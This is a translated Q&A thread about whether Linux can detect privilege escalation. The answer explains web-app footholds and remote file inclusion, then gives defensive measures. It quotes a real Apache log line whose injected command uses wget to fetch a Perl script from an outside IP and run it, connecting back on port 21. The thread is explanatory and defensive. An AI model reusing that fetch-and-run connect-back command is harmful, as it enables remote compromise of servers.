权限提升检测?

Mar*_* V. 5 linux security root

每次当我读到一些本地提权漏洞时(例如这个)。

我想知道操作系统是否可以检测到有人以 root 身份登录(或新的 root 进程正在启动)?想象一下准备了一个配置的 Gnu/Linux 机器,如果 root 登录它(或检测到一些漏洞来获得 root 权限),机器将中断/关闭自身,备份机器(具有不同配置)将启动或管理员将被通知...

我的想法是否有意义,或者大多数漏洞由于其性质而无法检测到?

slm*_*slm 4

漏洞利用的本质就是试图不被发现。因此,大多数漏洞利用不会通过正常方式进入系统,至少最初不会。他们通常会使用缓冲区溢出之类的方法来获取对系统的访问权限。

缓冲区溢出

这种类型的攻击会寻找应用程序中希望获取用户输入的部分。考虑一个网页和各种文本框,您必须通过在这些文本框中键入内容来提供信息。每个文本框都是潜在攻击者的潜在入口点。

好消息:

  • 大多数此类攻击并未获得 root 访问权限,而是获得对专门为 Web 服务器设置的用户帐户的访问权限,因此通常只能访问 Web 服务器文件和功能。
  • 攻击者在闯入过程中在许多区域留下了相当多的踪迹。
    • 防火墙日志
    • 网络服务器日志
    • 其他潜在的安全工具日志

坏消息:

  • 他们已经获得了对系统的访问权限,因此拥有了可以继续尝试进一步入侵的滩头阵地。
  • 日志。是的,考虑到分析日志既耗时又容易出错,大多数情况下几周/几个月/几年都没有检测到入侵。

检测 root 登录

大多数系统都被设计为不允许 root 登录,因此这种攻击媒介并不是真正的问题。大多数攻击都会获得对其他较低级别帐户的访问权限,然后在您的系统上建立滩头阵地后通过发现其他漏洞来利用。

例子#1:

攻击者可以通过执行以下操作来获得 root 访问权限:

  1. 通过查找易受攻击的网页来侵入系统的 Web 服务器帐户,该网页处理用户通过文本框从某种表单输入的输入。
  2. 实现对 Web 服务器帐户的访问后,尝试通过 Web 服务器帐户获得 shell 访问权限,或尝试让 Web 服务器帐户代表您运行命令。
  3. 确定该特定系统的工具版本(例如命令)是否存在弱点ls
  4. 溢出该工具ls以获得对 root 帐户的访问权限。

例子#2:

潜在的攻击者甚至可能对完全控制您的系统不感兴趣。大多数入侵者只对收集用作其他用途的“奴隶”的系统感兴趣。通常,攻击者只想将他们的软件安装在您的系统上,以便他们可以使用该系统,而无需完全控制系统。

  1. 确定某个网站已经开放了webapp X。攻击者知道webapp X存在允许用户上传图片文件的漏洞。
  2. 攻击者准备一个名为 的文件CMD.gif并上传。例如,可能是论坛网站上用户的头像图像。但这CMD.gif不是图像,它实际上是一个程序,名为CMD.gif
  3. 攻击者将“图像”上传到论坛站点。
  4. 现在攻击者“欺骗”webapp X 运行他的“图像”。
  5. 攻击者使用浏览器调用 webapp X,但他以 webapp X 的作者从未想象过的方式调用它。他们也没有设计 webapp X 来禁止它。

此类攻击的 Web 服务器日志文件

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200
Run Code Online (Sandbox Code Playgroud)

注意:来自 Apache Web 服务器的示例日志由OSSEC.net提供。

在这里,攻击者让 webapp X (index.php) 运行,CMD.gif然后可以执行以下操作:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

因此,他们诱使 webapp X 将目录更改为/tmp,下载文件 ,dc.txt然后运行该文件,在端口 21 上连接回 IP 地址 72.36.21.183。

禁用“受损”服务器

您可以关闭“检测到”漏洞的服务器的想法是一个很好的尝试,但由于几个原因它不起作用。

  1. 如果攻击者可以进入第一个系统,那么他们很可能可以进入第二个系统。
  2. 大多数系统本质上都是彼此的克隆。它们更容易维护,并且保持简单(相同)是 IT 和计算机中大多数事物的标志。
  3. 不同的配置意味着维护系统的工作量更大,出错的机会也更多,这通常是导致漏洞的原因。
  4. 攻击者的目标可能不是闯入,他们可能试图拒绝对您的服务的访问。这称为拒绝服务 (DoS)

试图限制损害

我可以继续说下去,但一般来说,在保护系统安全方面,您有一些可用的资源。

  • 使用tripwire等工具来检测系统文件系统上的更改。
  • 防火墙 - 限制访问,以便仅在需要时明确允许访问,而不是对所有内容进行完全访问。
  • 使用工具分析日志文件以检测异常。
  • 通过补丁使系统保持最新状态。
  • 限制暴露 - 只安装系统所需的软件 - 如果不需要gcc安装编译器,则不要安装它。
  • IDS——入侵检测软件。